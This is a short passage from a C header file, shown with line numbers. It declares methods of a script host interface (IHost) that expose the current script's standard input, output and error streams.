IDispatch *Object, BSTR Prefix); 274 | 275 | // Exposes the read-only input stream for the current script. 276 | static STDMETHODIMP Host_get_StdIn(IHost *This, void **ppts); 277 | 278 | // Exposes the write-only output stream for the current script. 279 | static STDMETHODIMP Host_get_StdOut(IHost *This, void **ppts); 280 | 281 | // Exposes the write-only error output stream for the current script. 282 | static STDMETHODIMP Host_get_StdErr(IHost *This, void **ppts); 283 | 284 | #endif 285 | --------------------------------------------------------------------------------